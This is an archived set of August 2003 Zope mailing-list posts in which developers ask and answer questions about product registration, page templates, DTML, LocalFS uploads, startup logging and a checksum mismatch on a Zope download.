Zope-2.6.1-linux2-x86.tgz cd2ca5eb1c9c014844895b93339c0291 Zope-2.6.1-linux2-x86.tgz % cat Zope.md5.txt 0cd2ca5eb1c9c14844895b93339c291 % Is my "md5sum" executable at fault? Many thanks, Gordo >> >>http://zope.org/Products/Zope/2.6.1/2.6.1/view >> >>Zope-2.6.1-linux2-x86.tgz (6.84 M) Linux 2.x, x86 >> >> >>I dowloaded this today and the "md5sum" on Linux >>did not agree with that postsed >> >>Version: 2.6.1 >>Release Date: 2003-02-07 15:03:18 >>Author: ZopeOrgSite >>Categories: >>Maturity: Stable >> >> >>Could you check this and also forward the email to the relavent authroity? >> >> >>Regards >> >>Gordo >> >> >>_______________________________________________ >>Zope maillist - Zope@zope.org >>http://mail.zope.org/mailman/listinfo/zope >>** No cross posts or HTML encoding! ** >>(Related lists - http://mail.zope.org/mailman/listinfo/zope-announce >>http://mail.zope.org/mailman/listinfo/zope-dev ) >> > >-- > Andy McKay > http://www.agmweb.ca -- Linux User No. 256022/// http://pobox.com/~gordo/ gordon.joly@pobox.com/// From marcus.bergmann at isst.fhg.de Sun Aug 17 12:32:19 2003 From: marcus.bergmann at isst.fhg.de (Marcus Bergmann) Date: Sun Aug 17 05:32:54 2003 Subject: [Zope] management process does not work for me Message-ID: <1061112739.3f3f4ba33a582@webmail.berlin.fhg.de> Hello, the management process which restarts Zope after a crash does not work for me. On Unix the default behaviour is to create a management process if the option '-Z1' or '-Zyes' in the 'start' script is not given. My Zope instance wasn't restarted after a crash and I can't find such a process after a restart by hand. To get sure, I added '-Zyes' to the 'start' file and restarted Zope once again. But 'ps -efa' shows only the normal Zope processes. Zope version: 2.6.1 OS: SunOS 5.8 Anyone got an idea? Thanks, Marcus P.S. Sorry, our webmailer doesn't supports reply-to ;-( From anithageorge27 at hotmail.com Sun Aug 17 11:59:24 2003 From: anithageorge27 at hotmail.com (Anitha George) Date: Sun Aug 17 06:59:59 2003 Subject: [Zope] Reading contents of a Page Template Message-ID: Hi All, I have a requirement to create a SiteMap for my site. My site is dynamically built from the Zope tree structure. Folder and Sub Folders need to appear as a tree structure and need to be sorted by name and date. I have viewed the examples in the Examples folder in ZMI and gotten a general Idea of how to get the files within a specific folder. But I need to be able to go through the whole set of folders and sub Folders and create the SiteMap and not just for a single folder . Is there some While- Do Loop which I can use to Loop through till I reach the Lowest rung in a Tree for each and every Folder and create a Site Map. Also Each of these folders has an index_html page template which can be linked from the SiteMap that is created. Each of the index_html files has a number of anchor tags. These Tags are for moving within the Page. I need to be able to include these Tage as well in My SiteMap ... CAN I GET THESE ANCHOR TAG LINKS ON EACH PAGE BY READING THROUGH THE CONTENT OF EACH OF THESE PAGE TEMPLATES? IS THERE SOME OTHER WAY TO DO ALL THESE ??? So Totally I need a SiteMap with all Folders and SubFolders and Anchor Tags to be shown in the SiteMap from where I can click and view these Pages ALL help is appreciated.Thanks in advance. Best Regards Anitha George _________________________________________________________________ Help STOP SPAM with the new MSN 8 and get 2 months FREE* http://join.msn.com/?page=features/junkmail From zope at phpv.khv.ru Sun Aug 17 23:31:32 2003 From: zope at phpv.khv.ru (Sergey Volobuev) Date: Sun Aug 17 07:31:43 2003 Subject: [Zope] How do I exclude a specific item from a tal:repeat In-Reply-To: <3F3CA227.60206@mxm.dk> References: <17252843.1060936141341.JavaMail.oracle@laredo> <3F3CA227.60206@mxm.dk> Message-ID: <3F3F6794.6000400@phpv.khv.ru> >> How do I exclude a particular item from being returned from the >> following statement. I have a file i use with a particular name and I >> don't want it to show up in my listing... >> >> tal:repeat="obj python:here.getFolderContents(suppressHiddenFiles=1)" > tal.repeat="obj python:filter(lambda item:not (item.getId()=='unwanted_file'),here.getFolderContents(suppressHiddenFiles=1)); From simon at titanic.co.uk Sun Aug 17 15:28:24 2003 From: simon at titanic.co.uk (Simon Faulkner) Date: Sun Aug 17 09:28:47 2003 Subject: [Zope] Redirecting based upone user Message-ID: I have a list of users names in a MySQL table and I would like to write an index_html ZPT that sends the user to show_depots?depot=user/GetUsernName (ZPT) if they are in the MySQL list and show_countries (a different ZPT) if they are not. How should I go about this? Do I make index_html a Python script or ask them to login to a script /tracking/login maybe? Simon From simon at titanic.co.uk Sun Aug 17 15:44:23 2003 From: simon at titanic.co.uk (Simon Faulkner) Date: Sun Aug 17 09:44:44 2003 Subject: [Zope] Missing Variable Message-ID: How can I make a variable default to a value? if country is passed in my the URL (show_depot?country=France) then request/country is France and that's great but if the ZPT is called with no country ie just it's URL show_depot then I would like to set a variable country="Manager" Any pointers... Simon From dustin at ywlcs.org Sun Aug 17 09:45:14 2003 From: dustin at ywlcs.org (Dustin Mitchell) Date: Sun Aug 17 09:45:52 2003 Subject: [Zope] Creating products Message-ID: <20030817134513.GF17963@eleanor.internal.ywlcs.org> I can't seem to find the straight dope on this one in the documentation. I have a Python product, named Volunteer. It has several classes defined within it (VolunteerUserFolder, Opportunity, etc.). Each class defines constructors e.g., manage_addOpportunity and manage_addOpportunityForm. In order to instantiate one of these classes programmatically, I know I need to do something like: context.manage_addProduct['Volunteer'].manage_addOpportunity(title="hi") but this doesn't seem to work -- manage_addOpportunity is not found. I know that context.manage_addProduct['Volunteer'] is some sort of proxy for my product, but what is the list of attributes I can access from this point (not counting acquisition, obviously)? If I wanted to add a static product-level function (for example, run_background_check(ssn)), where would I put that function? Thanks to anyone who can shed some light on all of this or direct me toward a snippet of documentation I haven't found :-) Dustin -- Dustin Mitchell dustin@ywlcs.org/djmitche@alumni.uchicago.edu http://people.cs.uchicago.edu/~dustin/ PGP Key: http://people.cs.uchicago.edu/~dustin/pubkey.txt From lukesh at seznam.cz Sat Aug 16 21:54:29 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Sun Aug 17 10:58:47 2003 Subject: [Zope] LocalFS - large files / broken connections Message-ID: <3F269CE0003F0351@stateless1.tiscali.cz> (added by postmaster@mail.tiscali.cz) > Odes?latel: David Siedband > I'm using LocalFS as a repository for uploading files. Many files are > relatively large, perhaps in the 10-20 Meg range. > > Is the file cached by Zope and then written to the filesystem all at > once or is it written to the filesystem in incrementally? From the > product code below, it looks like it it writing directly to the path > location... > > What happens if someone is uploading a file and their net connection is > broken? How would this be handled? Could this result in a partial > file being cached somewhere that needs to be purged or perhaps a write > process that needs to be killed off? Hi David, do you use windows, true? Use linux, not windows! I have no problems under Linux, but few unresolved problems under windows (same version of zope, same products, same dats.fs) in windows. Regards JL. From Paul-Andre.Duchesne at sciencesnaturelles.be Sun Aug 17 19:54:10 2003 From: Paul-Andre.Duchesne at sciencesnaturelles.be (Paul-Andre.Duchesne@sciencesnaturelles.be) Date: Sun Aug 17 12:58:47 2003 Subject: [Zope] passing parameter to dTML-method from a dtml-method Message-ID: <200308171654.h7HGsuwX021417@bernie.kbinirsnb.be> Hello, I've created a dtml-method that do different things based on the value of a parameter passed. So, for example, my method is called test and when i try to invoke through my browser the method with the parameter and a value it works fine this way: http://www.test.com/test?parameter=value What I would like to do now is to call this method from an other method and to pass the parameter and the value programatically, so for example something like: how can I do that... ? I've tried different things like but it seems it's not taking the parameter at all. How can I pass this parameter ? Thanks in advance for answers, Paul -- +---------------------------------------------+ | This email was sent using Frederick Webmail | | http://www.phpguru.org/frederick/ | +---------------------------------------------+ From dustin at ywlcs.org Sun Aug 17 13:15:36 2003 From: dustin at ywlcs.org (Dustin Mitchell) Date: Sun Aug 17 13:16:13 2003 Subject: [Zope] Missing Variable In-Reply-To: References: Message-ID: <20030817171536.GH17963@eleanor.internal.ywlcs.org> On Sun, Aug 17, 2003 at 02:44:23PM +0100, Simon Faulkner wrote: > How can I make a variable default to a value? > > if country is passed in my the URL (show_depot?country=France) then > request/country is France and that's great but if the ZPT is called with no > country > > ie just it's URL show_depot then I would like to set a variable > country="Manager" > > Any pointers... How about: Country: I'm a beginner at all this too, so please correct me if I'm wrong. Dustin -- Dustin Mitchell dustin@ywlcs.org/djmitche@alumni.uchicago.edu http://people.cs.uchicago.edu/~dustin/ PGP Key: http://people.cs.uchicago.edu/~dustin/pubkey.txt From dieter at handshake.de Sun Aug 17 20:37:15 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 17 13:47:40 2003 Subject: [Zope] LocalFS - large files / broken connections In-Reply-To: References: Message-ID: <16191.48459.147104.620206@gargle.gargle.HOWL> David Siedband wrote at 2003-8-15 20:28 -0700: > Is the file cached by Zope and then written to the filesystem all at > once or is it written to the filesystem in incrementally? From the > product code below, it looks like it it writing directly to the path > location... But, writing is not atomically (even if it seems to be). > What happens if someone is uploading a file and their net connection is > broken? The net connection is not a problem. ZServer has stored the file in its entirety to a temporary file (on your server) before Zope even sees the request. But you can get other problems during the store (e.g. file system is full). > How would this be handled? Could this result in a partial > file being cached somewhere that needs to be purged or perhaps a write > process that needs to be killed off? You have to look at the LocalFS sources to answer these questions. If it does nothing special (i.e. "try: ... except: ...) and clean up in case of an exception, then you can get a partial file. Dieter From dieter at handshake.de Sun Aug 17 20:23:30 2003 From: dieter at handshake.de (Dieter Maurer) Date: Sun Aug 17 13:47:52 2003 Subject: [Zope] How to install a new product in Zope 2.7 In-Reply-To: <1061050040.2548.8.camel@athlon.nv.cox.net> References: <3F3C6569.6070206@wanadoo.fr> <2147483647.1060932398@[192.168.0.100]> <3F3CF176.5060204@wanadoo.fr> <1060988215.1177.18.camel@dorothy.zope.com> <3F3E3C6C.9020301@wanadoo.fr> <003601c36402$deb80560$0601000a@james> <3F3E4990.800@wanadoo.fr> <1061050040.2548.8.camel@athlon.nv.cox.net> Message-ID: <16191.47634.577521.362679@gargle.gargle.HOWL> Chris McDonough wrote at 2003-8-16 12:07 -0400: > The product is failing to initialize and Zope refuses to start as a > result. Nothing is written to the log due to the decision to defer > logging to a file until after we've been able to do some houskeeping > (which, ironically, is vital under UNIX but totally unnecessary under > Windows). Should we rethink about this decision? The log file has been the main source to analyse startup problems. How should they be analysed for Zope 2.7? Dieter From zope at dylanreinhardt.com Sun Aug 17 18:54:47 2003 From: zope at dylanreinhardt.com (Dylan Reinhardt) Date: Sun Aug 17 13:54:49 2003 Subject: [Zope] Creating products In-Reply-To: <20030817134513.GF17963@eleanor.internal.ywlcs.org> References: <20030817134513.GF17963@eleanor.internal.ywlcs.org> Message-ID: <1061142854.2282.8.camel@ida.dylanreinhardt.com> On Sun, 2003-08-17 at 06:45, Dustin Mitchell wrote: > I can't seem to find the straight dope on this one in the > documentation. Yeah... once you get the recipe right, it's smooth sailing though. Your problem probably stems from one (or more) of the following: 1. The product isn't installed correctly 2. Your classes aren't registered correctly 3. Your product isn't compiling First off, is the product should consist of a folder with a main module and an initialization module called __init__ (if you don't have one of these, look at the Boring product for a good template). If you haven't done so already, add an empty file to your product folder called refresh.txt. This will add a "refresh" tab to your product management screens and will greatly facilitate debugging. You will need to restart Zope for it to "see" a newly-added product. Having done that, are you able to see the product in the Products folder of the Control Panel in the ZMI? Does it have a "broken" icon? What do you see if you open the product's management screens? Look at its refresh screen? Check that out, take note of any tracebacks and let us know what you see. HTH Dylan From dustin at ywlcs.org Sun Aug 17 14:03:40 2003 From: dustin at ywlcs.org (Dustin Mitchell) Date: Sun Aug 17 14:04:13 2003 Subject: [Zope] Creating products In-Reply-To: <1061142854.2282.8.camel@ida.dylanreinhardt.com> References: <20030817134513.GF17963@eleanor.internal.ywlcs.org> <1061142854.2282.8.camel@ida.dylanreinhardt.com> Message-ID: <20030817180340.GK17963@eleanor.internal.ywlcs.org> On Sun, Aug 17, 2003 at 10:54:14AM -0700, Dylan Reinhardt wrote: > On Sun, 2003-08-17 at 06:45, Dustin Mitchell wrote: > > I can't seem to find the straight dope on this one in the > > documentation. > > Yeah... once you get the recipe right, it's smooth sailing though. > > Your problem probably stems from one (or more) of the following: > 1. The product isn't installed correctly > 2. Your classes aren't registered correctly > 3. Your product isn't compiling > > First off, is the product should consist of a folder with a main module > and an initialization module called __init__ (if you don't have one of > these, look at the Boring product for a good template). > > If you haven't done so already, add an empty file to your product folder > called refresh.txt. This will add a "refresh" tab to your product > management screens and will greatly facilitate debugging. > > You will need to restart Zope for it to "see" a newly-added product. > > Having done that, are you able to see the product in the Products folder > of the Control Panel in the ZMI? Does it have a "broken" icon? What do > you see if you open the product's management screens? Look at its > refresh screen? > > Check that out, take note of any tracebacks and let us know what you > see. Nope, product (which is already quite well along) is installed correctly, adding from the ZMI works just fine, etc. Inside the manage_addVolunteerSite : ... volunteersite.manage_addProduct['Volunteer'].manage_addVolunteerUserFolder() ... causes: Error Type: AttributeError Error Value: _getProducts the text is: Traceback (innermost last): Module ZPublisher.Publish, line 98, in publish Module ZPublisher.mapply, line 88, in mapply Module ZPublisher.Publish, line 39, in call_object Module Products.Volunteer.VolunteerSite, line 65, in manage_addVolunteerSite Module App.FactoryDispatcher, line 26, in __getitem__ Module App.FactoryDispatcher, line 29, in __bobo_traverse__ AttributeError: _getProducts However, this works: acl_users = VolunteerUserFolder() volunteersite._setObject('acl_users', acl_users); but clearly isn't the best way to do things; besides, there will be other circumstances when I will want to add products from Python Script objects. So what am I doing wrong? Dustin -- Dustin Mitchell dustin@ywlcs.org/djmitche@alumni.uchicago.edu http://people.cs.uchicago.edu/~dustin/ PGP Key: http://people.cs.uchicago.edu/~dustin/pubkey.txt From pw_lists at slinkp.com Sun Aug 17 15:15:41 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Sun Aug 17 14:17:17 2003 Subject: [Zope] Creating products In-Reply-To: <20030817180340.GK17963@eleanor.internal.ywlcs.org> References: <20030817134513.GF17963@eleanor.internal.ywlcs.org> <1061142854.2282.8.camel@ida.dylanreinhardt.com> <20030817180340.GK17963@eleanor.internal.ywlcs.org> Message-ID: <20030817181541.GB1027@slinkp.com> On Sun, Aug 17, 2003 at 01:03:40PM -0500, Dustin Mitchell wrote: > Nope, product (which is already quite well along) is installed > correctly, adding from the ZMI works just fine, etc. > > Inside the manage_addVolunteerSite : > > ... > volunteersite.manage_addProduct['Volunteer'].manage_addVolunteerUserFolder() > ... > > causes: > > Error Type: AttributeError > Error Value: _getProducts (snip) > However, this works: > > acl_users = VolunteerUserFolder() > volunteersite._setObject('acl_users', acl_users); I would guess that the problem is Dylan's second possible diagnosis: > > 2. Your classes aren't registered correctly In your __init__.py should be an initialize() function that calls context.registerClass for *each* class class that you want to be an addable Product. Have you done this? E.g. from Max M's Minimal Product howto: import minimal def initialize(context): """Initialize the minimal product. This makes the object apear in the product list""" context.registerClass( minimal.minimal, constructors = ( minimal.manage_addMinimal, # This is called when # someone adds the product ) ) -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's MARMITE INDEFATIGABLE SALESMAN MAN! (random hero from isometric.spaceninja.com) From chris.mcdonough at cox.net Sun Aug 17 15:29:51 2003 From: chris.mcdonough at cox.net (Chris McDonough) Date: Sun Aug 17 14:29:32 2003 Subject: [Zope] How to install a new product in Zope 2.7 References: <3F3C6569.6070206@wanadoo.fr><2147483647.1060932398@[192.168.0.100]><3F3CF176.5060204@wanadoo.fr><1060988215.1177.18.camel@dorothy.zope.com><3F3E3C6C.9020301@wanadoo.fr><003601c36402$deb80560$0601000a@james> <3F3E4990.800@wanadoo.fr><1061050040.2548.8.camel@athlon.nv.cox.net> <16191.47634.577521.362679@gargle.gargle.HOWL> Message-ID: <001901c364ed$8c054c10$0601000a@james> > > The product is failing to initialize and Zope refuses to start as a > > result. Nothing is written to the log due to the decision to defer > > logging to a file until after we've been able to do some houskeeping > > (which, ironically, is vital under UNIX but totally unnecessary under > > Windows). > > Should we rethink about this decision? > > The log file has been the main source to analyse startup problems. > How should they be analysed for Zope 2.7? Well, I don't think so. Here's why. A failing startup can be debugged via looking at console output. This is simple on UNIX, and would have been simple under Windows had I corrrectly used "python.exe" instead of "pythonw.exe" in the runzope.bat batch file. When someone asks why Zope doesn't start under UNIX and there are no messages in the event log file, the stock answer will be "run it using the 'runzope' shell script in a console window". When someone asks why Zope doesn't start under Windows, the stock answer will be "run it using the 'runzope.bat' batch file in a console window." I think that's acceptable. FWIW (and you probably know this already, but others might not), the reason for holding off on logging startup messages to a log file is to allow the application time to setuid before writing any log files, so that if Zope is initially started as root, subsequent startups under a nonroot user account won't fail due to an inability to write to the logfile (which would be owned and writable only by root). This is (or at least used to be) a frequent source of complaints on the list for all previous Zope versions. All that said, I think (over time) we might be able to do less before we have the opportunity setuid so that these kinds of messages would indeed be written to the logfile. - C From dustin at ywlcs.org Sun Aug 17 14:29:05 2003 From: dustin at ywlcs.org (Dustin Mitchell) Date: Sun Aug 17 14:29:45 2003 Subject: [Zope] Creating products In-Reply-To: <20030817181541.GB1027@slinkp.com> References: <20030817134513.GF17963@eleanor.internal.ywlcs.org> <1061142854.2282.8.camel@ida.dylanreinhardt.com> <20030817180340.GK17963@eleanor.internal.ywlcs.org> <20030817181541.GB1027@slinkp.com> Message-ID: <20030817182904.GL17963@eleanor.internal.ywlcs.org> On Sun, Aug 17, 2003 at 02:15:41PM -0400, Paul Winkler wrote: > On Sun, Aug 17, 2003 at 01:03:40PM -0500, Dustin Mitchell wrote: > > Nope, product (which is already quite well along) is installed > > correctly, adding from the ZMI works just fine, etc. > > > > Inside the manage_addVolunteerSite : > > > > ... > > volunteersite.manage_addProduct['Volunteer'].manage_addVolunteerUserFolder() > > ... > > > > causes: > > > > Error Type: AttributeError > > Error Value: _getProducts > (snip) > > > However, this works: > > > > acl_users = VolunteerUserFolder() > > volunteersite._setObject('acl_users', acl_users); > > I would guess that the problem is Dylan's second possible diagnosis: > > > > 2. Your classes aren't registered correctly > > In your __init__.py should be an initialize() function that > calls context.registerClass for *each* class class that you want to > be an addable Product. Have you done this? E.g. from Max M's Of course: def initialize(registrar): ... registrar.registerClass( VolunteerUserFolder, permission = 'Add Volunteer Objects', icon = "icons/vuf.png", constructors = (manage_addVolunteerUserFolder,), ) (same effect with classes which have two constructors---(manage_addX, manage_addXForm) ) I'm still not clear where the attributes for context.manage_addProduct['Volunteer'] come from -- if I added .foo() to the end of that, where would Zope look for 'foo'? Thanks for the thoughts so far.. Dustin -- Dustin Mitchell dustin@ywlcs.org/djmitche@alumni.uchicago.edu http://people.cs.uchicago.edu/~dustin/ PGP Key: http://people.cs.uchicago.edu/~dustin/pubkey.txt From pw_lists at slinkp.com Sun Aug 17 17:34:40 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Sun Aug 17 16:36:16 2003 Subject: [Zope] Creating products In-Reply-To: <20030817182904.GL17963@eleanor.internal.ywlcs.org> References: <20030817134513.GF17963@eleanor.internal.ywlcs.org> <1061142854.2282.8.camel@ida.dylanreinhardt.com> <20030817180340.GK17963@eleanor.internal.ywlcs.org> <20030817181541.GB1027@slinkp.com> <20030817182904.GL17963@eleanor.internal.ywlcs.org> Message-ID: <20030817203440.GD1027@slinkp.com> On Sun, Aug 17, 2003 at 01:29:05PM -0500, Dustin Mitchell wrote: > I'm still not clear where the attributes for > > context.manage_addProduct['Volunteer'] > > come from -- if I added .foo() to the end of that, where would Zope > look for 'foo'? It's a bit convoluted, but if you explore in lib/python/App, you find out: context.manage_addProduct['Foo'] looks up 'Foo' by traversing the ProductDispatcher; which in turn calls ProductRegistry._getProducts(); which tries to find 'Foo' in Control_Panel.Products, which is an instance of ProductFolder; your Product should be in that Product Folder. Now, looking again at your problem, to which I should have paid closer attention: > Inside the manage_addVolunteerSite : whoops, there's your problem, see below. > ... > > volunteersite.manage_addProduct['Volunteer'].manage_addVolunteerUserFolder() > > ... > > causes: > > Error Type: AttributeError > Error Value: _getProducts >From this we can see that when you make this call, something is wrong with volunteersite such that it can't find _getProducts. The problem is that you are doing this before volunteersite itself is ready for use within the zope app. The object exists, but IIRC it's not really placed in in its container yet and has no access to other zope objects, until after manage_addVolunteerSite() has returned and the containing ObjectManager has finished doing whatever it does when you add stuff. (I forget, but a look at the ObjectManager could would tell you what happens.) So this is why the attempt to acquire _getProducts fails. Solution: Move the volunteersite.manage_addProduct... call out of manage_addVolunteerSite, and instead put it in VolunteerSite.manage_afterAdd. This is where you should put any add-time stuff that depends on having a fully working zope context. -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's THE DEMON! (random hero from isometric.spaceninja.com) From tino at wildenhain.de Sun Aug 17 23:51:52 2003 From: tino at wildenhain.de (Tino Wildenhain) Date: Sun Aug 17 16:52:35 2003 Subject: [Zope] Redirecting based upone user In-Reply-To: References: Message-ID: <3F3FEAE8.1070503@wildenhain.de> Hi Simon, Simon Faulkner wrote: > I have a list of users names in a MySQL table and I would like to write an > index_html ZPT that sends the user to show_depots?depot=user/GetUsernName > (ZPT) if they are in the MySQL list and show_countries (a different ZPT) if > they are not. > > How should I go about this? Do I make index_html a Python script or ask > them to login to a script /tracking/login maybe? more elegant: make one python script called index_html and let it call return show_depots(depot=user.GetUserName()) or return show_countries(context) according to your depencies. This looks cleaner (URL in the Browser would be the same) - so more Zopish and is easy to maintain. Avoid redirection where possible. Regards Tino Wildenhain From jbarbara11 at yahoo.com Sun Aug 17 15:14:09 2003 From: jbarbara11 at yahoo.com (Jim Barbara) Date: Sun Aug 17 17:14:13 2003 Subject: [Zope] Custom Memberdata - Birthdays and date format Message-ID: <20030817211409.96952.qmail@web11707.mail.yahoo.com> I added birthday (type=Date) to portal_memberdata in the ZMI for my Plone site. I edited the My Preferences form to include Birthday. I then created a custom python script called getMember: roster=[] for member in context.portal_membership.listMembers(): roster.append( { 'id':member.getUserName() , 'email':member.email , 'birthday':member.birthday , 'fullname': member.fullname }) return roster And then I use some of the output of that script in a page template using the following:
Column 1 dummy data Column 2 dummy data
The problem is that I cannot get the birthday date string data formatted with just Month, Day and I have no idea as to how to sort this data my month. --Jim __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From david at calteg.org Sun Aug 17 20:53:34 2003 From: david at calteg.org (David Siedband) Date: Sun Aug 17 22:50:59 2003 Subject: [Zope] LocalFS - large files / broken connections In-Reply-To: <3F269CE0003F0351@stateless1.tiscali.cz> (added by postmaster@mail.tiscali.cz) Message-ID: <28CAD05F-D127-11D7-A975-0003936E42E2@calteg.org> It's on a Sun e3000 running FreeBSD. Sorry for not mentioning that in my original post. -- David On Saturday, August 16, 2003, at 11:54 AM, Jaroslav Lukesh wrote: >> Odes?latel: David Siedband >> I'm using LocalFS as a repository for uploading files. Many files are >> relatively large, perhaps in the 10-20 Meg range. >> >> Is the file cached by Zope and then written to the filesystem all at >> once or is it written to the filesystem in incrementally? From the >> product code below, it looks like it it writing directly to the path >> location... >> >> What happens if someone is uploading a file and their net connection >> is >> broken? How would this be handled? Could this result in a partial >> file being cached somewhere that needs to be purged or perhaps a write >> process that needs to be killed off? > > Hi David, > > do you use windows, true? Use linux, not windows! I have no problems > under > Linux, but few unresolved problems under windows (same version of zope, > same products, same dats.fs) in windows. > > Regards JL. > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From pw_lists at slinkp.com Mon Aug 18 00:27:12 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Sun Aug 17 23:28:55 2003 Subject: [Zope] Creating products In-Reply-To: <20030817211515.GM17963@eleanor.internal.ywlcs.org> References: <20030817134513.GF17963@eleanor.internal.ywlcs.org> <1061142854.2282.8.camel@ida.dylanreinhardt.com> <20030817180340.GK17963@eleanor.internal.ywlcs.org> <20030817181541.GB1027@slinkp.com> <20030817182904.GL17963@eleanor.internal.ywlcs.org> <20030817203440.GD1027@slinkp.com> <20030817211515.GM17963@eleanor.internal.ywlcs.org> Message-ID: <20030818032712.GA2474@slinkp.com> On Sun, Aug 17, 2003 at 04:15:15PM -0500, Dustin Mitchell wrote: > Brilliant! Thanks for your help :-) you're welcome... not brilliant, i just made a related mistake fairly recently :-\ > Now that I have my foot in the door wrt adding objects, I'll try reading > the source again, and if I feel like I've got it down I'll write a > howto.. Hmm, maybe this is an issue that should go in the Dev. Guide "Gotchas" section on zope.org. -- Paul Winkler http://www.slinkp.com From dan at shafermedia.com Sun Aug 17 22:58:00 2003 From: dan at shafermedia.com (Dan Shafer) Date: Mon Aug 18 00:57:58 2003 Subject: [Zope] Drilling into second-level object properties Message-ID: <8A84CB5A-D138-11D7-8C1D-0030656FB5D4@shafermedia.com> This may just be a case of over-engineering. But I'd like to see if I can learn how to fix this anyway. I have a Zope application. When using it, people we call facilitators create a new folder for a particular client interaction. Then as they progress through the structured interaction, each phase creates a new document whose only contents are a call to a DTML method that displays objects' contents. Each of these documents has a set of properties associated with it. So the structure is: Folder Document (with properties) Now, I need to write a routine that iterates over all the folders in a given directory, examines the document called [caseID]info to determine if one of its properties (coach_id) matches the name of the currently AUTHENTICATED_USER. If so, display the folder as an HREF (that I have working fine) and if not, skip it. I keep running into syntactical issues. Dylan Reinhardt has already switched me on to the nearly undocumented prefix attribute of the dtml-in construct, so I've at least gotten past that problem. But drilling down another level in the object hierarchy is proving syntactically...well...challenging. Anyone got any ideas? Thanks. From canburak at knuth.cs.bilgi.edu.tr Mon Aug 18 10:04:51 2003 From: canburak at knuth.cs.bilgi.edu.tr (Can Burak Cilingir) Date: Mon Aug 18 02:05:04 2003 Subject: [Zope] any cleaner or cleverer way of inclusion ? Message-ID: hi from a newbie to zope. i read about zope for my problem but could not find any solution which seems logical to me. i have a folder hierarchy which has "index_html(dtml doc)", "left(dtml mtd)", "main(dtml mtd)" etc in the root folder, and "my_index(dtml method)" in all folders. (index_html has ) when i add "my_index" at the "main" ()and call say "http://xxx/Something/Otherthing", i saw "my_index" which is at the root, not the one inside "Something/Otherthing". but if i write i got the expected result, Something/Otherthing/my_index is shown instead of the one at the root folder. there should be a cleaner way ! any idea? thanks ... From tino at wildenhain.de Mon Aug 18 10:36:31 2003 From: tino at wildenhain.de (Tino Wildenhain) Date: Mon Aug 18 03:37:09 2003 Subject: [Zope] Drilling into second-level object properties In-Reply-To: <8A84CB5A-D138-11D7-8C1D-0030656FB5D4@shafermedia.com> References: <8A84CB5A-D138-11D7-8C1D-0030656FB5D4@shafermedia.com> Message-ID: <3F4081FF.4060708@wildenhain.de> Hi Dan, Dan Shafer wrote: > This may just be a case of over-engineering. But I'd like to see if I > can learn how to fix this anyway. > > I have a Zope application. When using it, people we call facilitators > create a new folder for a particular client interaction. Then as they > progress through the structured interaction, each phase creates a new > document whose only contents are a call to a DTML method that displays > objects' contents. Each of these documents has a set of properties > associated with it. > > So the structure is: > > Folder > Document (with properties) > > > Now, I need to write a routine that iterates over all the folders in a > given directory, examines the document called [caseID]info to determine > if one of its properties (coach_id) matches the name of the currently > AUTHENTICATED_USER. If so, display the folder as an HREF (that I have > working fine) and if not, skip it. > > I keep running into syntactical issues. Dylan Reinhardt has already > switched me on to the nearly undocumented prefix attribute of the > dtml-in construct, so I've at least gotten past that problem. But > drilling down another level in the object hierarchy is proving > syntactically...well...challenging. > > Anyone got any ideas? Yeah. Skip DTML and use a python script for that. Its more clean as you are writing python expressions anyway now. They are only more obscure during DTMLs magic behavior. Good luck Tino Wildenhain From lukesh at seznam.cz Mon Aug 18 12:19:27 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Mon Aug 18 05:33:43 2003 Subject: [Zope] LocalFS - large files / broken connections Message-ID: <3F269CE0004144F1@stateless1.tiscali.cz> (added by postmaster@mail.tiscali.cz) Hi, FreeBSD has some problems with python if you use it much. It is best to search archives for BSD unpredictable problems with Zope, it wants some more memory for something (stack??) than default 64kB. Maybe here could be your problems. Regards JL. ---------- Odes?latel: David Siedband It's on a Sun e3000 running FreeBSD. Sorry for not mentioning that in my original post. -- David On Saturday, August 16, 2003, at 11:54 AM, Jaroslav Lukesh wrote: >> Odes?latel: David Siedband >> I'm using LocalFS as a repository for uploading files. Many files are >> relatively large, perhaps in the 10-20 Meg range. >> >> Is the file cached by Zope and then written to the filesystem all at >> once or is it written to the filesystem in incrementally? From the >> product code below, it looks like it it writing directly to the path >> location... >> >> What happens if someone is uploading a file and their net connection >> is >> broken? How would this be handled? Could this result in a partial >> file being cached somewhere that needs to be purged or perhaps a write >> process that needs to be killed off? > > Hi David, > > do you use windows, true? Use linux, not windows! I have no problems > under > Linux, but few unresolved problems under windows (same version of zope, > same products, same dats.fs) in windows. From lukesh at seznam.cz Mon Aug 18 12:31:15 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Mon Aug 18 05:34:04 2003 Subject: [Zope] any cleaner or cleverer way of inclusion ? Message-ID: <3F269CE0004144FE@stateless1.tiscali.cz> (added by postmaster@mail.tiscali.cz) > Odes?latel: Can Burak Cilingir > i have a folder hierarchy which has "index_html(dtml doc)", > "left(dtml mtd)", "main(dtml mtd)" etc in the root folder, and > "my_index(dtml method)" in all folders. (index_html has left>) > > when i add "my_index" at the "main" ()and call say > "http://xxx/Something/Otherthing", i saw "my_index" which is at the root, > not the one inside "Something/Otherthing". Easy :-) You need to call folder "Otherthing", not a page "Otherthing" 8-) http://xxx/Something/Otherthing/ ^ Regards JL. From lukesh at seznam.cz Mon Aug 18 12:28:18 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Mon Aug 18 05:34:57 2003 Subject: [Zope] Drilling into second-level object properties Message-ID: <3F269CE0004144FA@stateless1.tiscali.cz> (added by postmaster@mail.tiscali.cz) > Odes?latel: Dan Shafer > I have a Zope application. When using it, people we call facilitators > create a new folder for a particular client interaction. Then as they > progress through the structured interaction, each phase creates a new > document whose only contents are a call to a DTML method that displays > objects' contents. Each of these documents has a set of properties > associated with it. > > So the structure is: > > Folder > Document (with properties) > > > Now, I need to write a routine that iterates over all the folders in a > given directory, examines the document called [caseID]info to determine > 